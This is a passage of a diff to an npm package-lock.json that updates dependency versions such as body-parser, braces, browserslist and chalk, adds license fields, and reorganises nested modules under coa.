-      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==",
+      "license": "MIT"
     },
     "node_modules/body-parser": {
-      "version": "1.20.1",
-      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz",
-      "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==",
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz",
+      "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==",
+      "license": "MIT",
       "dependencies": {
         "bytes": "3.1.2",
-        "content-type": "~1.0.4",
+        "content-type": "~1.0.5",
         "debug": "2.6.9",
         "depd": "2.0.0",
         "destroy": "1.2.0",
         "http-errors": "2.0.0",
         "iconv-lite": "0.4.24",
         "on-finished": "2.4.1",
-        "qs": "6.11.0",
-        "raw-body": "2.5.1",
+        "qs": "6.13.0",
+        "raw-body": "2.5.2",
         "type-is": "~1.6.18",
         "unpipe": "1.0.0"
       },
@@ -5832,18 +5837,11 @@
         "npm": "1.2.8000 || >= 1.4.16"
       }
     },
-    "node_modules/body-parser/node_modules/bytes": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
-      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
-      "engines": {
-        "node": ">= 0.8"
-      }
-    },
     "node_modules/body-parser/node_modules/debug": {
       "version": "2.6.9",
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -5852,6 +5850,7 @@
       "version": "0.4.24",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
       "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": ">= 2.1.2 < 3"
       },
@@ -5862,12 +5861,14 @@
     "node_modules/body-parser/node_modules/ms": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
     },
     "node_modules/bonjour-service": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.2.1.tgz",
-      "integrity": "sha512-oSzCS2zV14bh2kji6vNe7vrpJYCHGvcZnlffFQ1MEoX/WOeQ/teD8SYWKR942OI3INjq8OMNJlbPK5LLLUxFDw==",
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.3.0.tgz",
+      "integrity": "sha512-3YuAUiSkWykd+2Azjgyxei8OWf8thdn8AITIog2M4UICzoqfjlqr64WIjEXZllf/W6vK1goqleSR6brGomxQqA==",
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.3",
         "multicast-dns": "^7.2.5"
@@ -5876,28 +5877,32 @@
     "node_modules/bonjour-service/node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
     },
     "node_modules/boolbase": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
-      "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="
+      "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
+      "license": "ISC"
     },
     "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "version": "1.1.12",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
+      "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
+      "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0",
         "concat-map": "0.0.1"
       }
     },
     "node_modules/braces": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
-      "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+      "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+      "license": "MIT",
       "dependencies": {
-        "fill-range": "^7.0.1"
+        "fill-range": "^7.1.1"
       },
       "engines": {
         "node": ">=8"
@@ -5906,12 +5911,13 @@
     "node_modules/browser-process-hrtime": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
-      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow=="
+      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==",
+      "license": "BSD-2-Clause"
     },
     "node_modules/browserslist": {
-      "version": "4.23.0",
-      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.0.tgz",
-      "integrity": "sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ==",
+      "version": "4.25.1",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz",
+      "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==",
       "funding": [
         {
           "type": "opencollective",
@@ -5926,11 +5932,12 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "caniuse-lite": "^1.0.30001587",
-        "electron-to-chromium": "^1.4.668",
-        "node-releases": "^2.0.14",
-        "update-browserslist-db": "^1.0.13"
+        "caniuse-lite": "^1.0.30001726",
+        "electron-to-chromium": "^1.5.173",
+        "node-releases": "^2.0.19",
+        "update-browserslist-db": "^1.1.3"
       },
       "bin": {
         "browserslist": "cli.js"
@@ -5943,6 +5950,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
       "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
+      "license": "Apache-2.0",
       "dependencies": {
         "node-int64": "^0.4.0"
       }
@@ -5950,12 +5958,14 @@
     "node_modules/buffer-from": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
-      "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="
+      "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
+      "license": "MIT"
     },
     "node_modules/builtin-modules": {
       "version": "3.3.0",
       "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
       "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       },
@@ -5964,23 +5974,53 @@
       }
     },
     "node_modules/bytes": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
-      "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==",
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
     },
     "node_modules/call-bind": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz",
-      "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
+      "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
+      "license": "MIT",
       "dependencies": {
+        "call-bind-apply-helpers": "^1.0.0",
         "es-define-property": "^1.0.0",
-        "es-errors": "^1.3.0",
-        "function-bind": "^1.1.2",
         "get-intrinsic": "^1.2.4",
-        "set-function-length": "^1.2.1"
+        "set-function-length": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/call-bind-apply-helpers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+      "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/call-bound": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+      "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "get-intrinsic": "^1.3.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5993,6 +6033,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
       "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -6001,6 +6042,7 @@
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
       "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
+      "license": "MIT",
       "dependencies": {
         "pascal-case": "^3.1.2",
         "tslib": "^2.0.3"
@@ -6010,6 +6052,7 @@
       "version": "6.3.0",
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
       "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -6021,6 +6064,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
       "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -6029,6 +6073,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
       "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
+      "license": "MIT",
       "dependencies": {
         "browserslist": "^4.0.0",
         "caniuse-lite": "^1.0.0",
@@ -6037,9 +6082,9 @@
       }
     },
     "node_modules/caniuse-lite": {
-      "version": "1.0.30001587",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001587.tgz",
-      "integrity": "sha512-HMFNotUmLXn71BQxg8cijvqxnIAofforZOwGsxyXJ0qugTdspUF4sPSJ2vhgprHCB996tIDzEq1ubumPDV8ULA==",
+      "version": "1.0.30001727",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz",
+      "integrity": "sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==",
       "funding": [
         {
           "type": "opencollective",
@@ -6053,33 +6098,39 @@
           "type": "github",
           "url": "https://github.com/sponsors/ai"
         }
-      ]
+      ],
+      "license": "CC-BY-4.0"
     },
     "node_modules/case-sensitive-paths-webpack-plugin": {
       "version": "2.4.0",
       "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz",
       "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/chalk": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "license": "MIT",
       "dependencies": {
-        "ansi-styles": "^3.2.1",
-        "escape-string-regexp": "^1.0.5",
-        "supports-color": "^5.3.0"
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
       }
     },
     "node_modules/char-regex": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
       "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -6087,12 +6138,14 @@
     "node_modules/check-types": {
       "version": "11.2.3",
       "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.2.3.tgz",
-      "integrity": "sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg=="
+      "integrity": "sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg==",
+      "license": "MIT"
     },
     "node_modules/chokidar": {
       "version": "3.6.0",
       "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
       "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
+      "license": "MIT",
       "dependencies": {
         "anymatch": "~3.1.2",
         "braces": "~3.0.2",
@@ -6116,6 +6169,7 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
       "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "license": "ISC",
       "dependencies": {
         "is-glob": "^4.0.1"
       },
@@ -6124,9 +6178,10 @@
       }
     },
     "node_modules/chrome-trace-event": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
-      "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz",
+      "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.0"
       }
@@ -6141,19 +6196,22 @@
           "url": "https://github.com/sponsors/sibiraj-s"
         }
       ],
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/cjs-module-lexer": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz",
-      "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ=="
+      "version": "1.4.3",
+      "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz",
+      "integrity": "sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==",
+      "license": "MIT"
     },
     "node_modules/clean-css": {
       "version": "5.3.3",
       "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.3.tgz",
       "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==",
+      "license": "MIT",
       "dependencies": {
         "source-map": "~0.6.0"
       },
@@ -6165,6 +6223,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6174,6 +6233,7 @@
       "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
       "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -6183,6 +6243,7 @@
       "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
       "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "restore-cursor": "^3.1.0"
       },
@@ -6195,6 +6256,7 @@
       "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-3.1.0.tgz",
       "integrity": "sha512-wfOBkjXteqSnI59oPcJkcPl/ZmwvMMOj340qUIY1SKZCv0B9Cf4D4fAucRkIKQmsIuYK3x1rrgU7MeGRruiuiA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "slice-ansi": "^5.0.0",
         "string-width": "^5.0.0"
@@ -6210,6 +6272,7 @@
       "version": "7.0.4",
       "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
       "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+      "license": "ISC",
       "dependencies": {
         "string-width": "^4.2.0",
         "strip-ansi": "^6.0.0",
@@ -6219,12 +6282,14 @@
     "node_modules/cliui/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
     },
     "node_modules/cliui/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -6233,6 +6298,7 @@
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -6246,6 +6312,7 @@
       "version": "4.6.0",
       "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
       "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
+      "license": "MIT",
       "engines": {
         "iojs": ">= 1.0.0",
         "node": ">= 0.12.0"
@@ -6255,6 +6322,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
       "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
+      "license": "MIT",
       "dependencies": {
         "@types/q": "^1.5.1",
         "chalk": "^2.4.1",
@@ -6264,43 +6332,124 @@
         "node": ">= 4.0"
       }
     },
-    "node_modules/codem-isoboxer": {
-      "version": "0.3.6",
-      "resolved": "https://registry.npmjs.org/codem-isoboxer/-/codem-isoboxer-0.3.6.tgz",
-      "integrity": "sha512-LuO8/7LW6XuR5ERn1yavXAfodGRhuY2yP60JTZIw5yNYMCE5lUVbk3NFUCJxjnphQH+Xemp5hOGb1LgUXm00Xw=="
+    "node_modules/coa/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "license": "MIT",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
     },
-    "node_modules/collect-v8-coverage": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz",
-      "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q=="
+    "node_modules/coa/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
     },
-    "node_modules/color-convert": {
+    "node_modules/coa/node_modules/color-convert": {
       "version": "1.9.3",
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
       "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+      "license": "MIT",
       "dependencies": {
         "color-name": "1.1.3"
       }
     },
-    "node_modules/color-name": {
+    "node_modules/coa/node_modules/color-name": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="
+      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+      "license": "MIT"
+    },
+    "node_modules/coa/node_modules/escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/coa/node_modules/has-flag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+      "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/coa/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
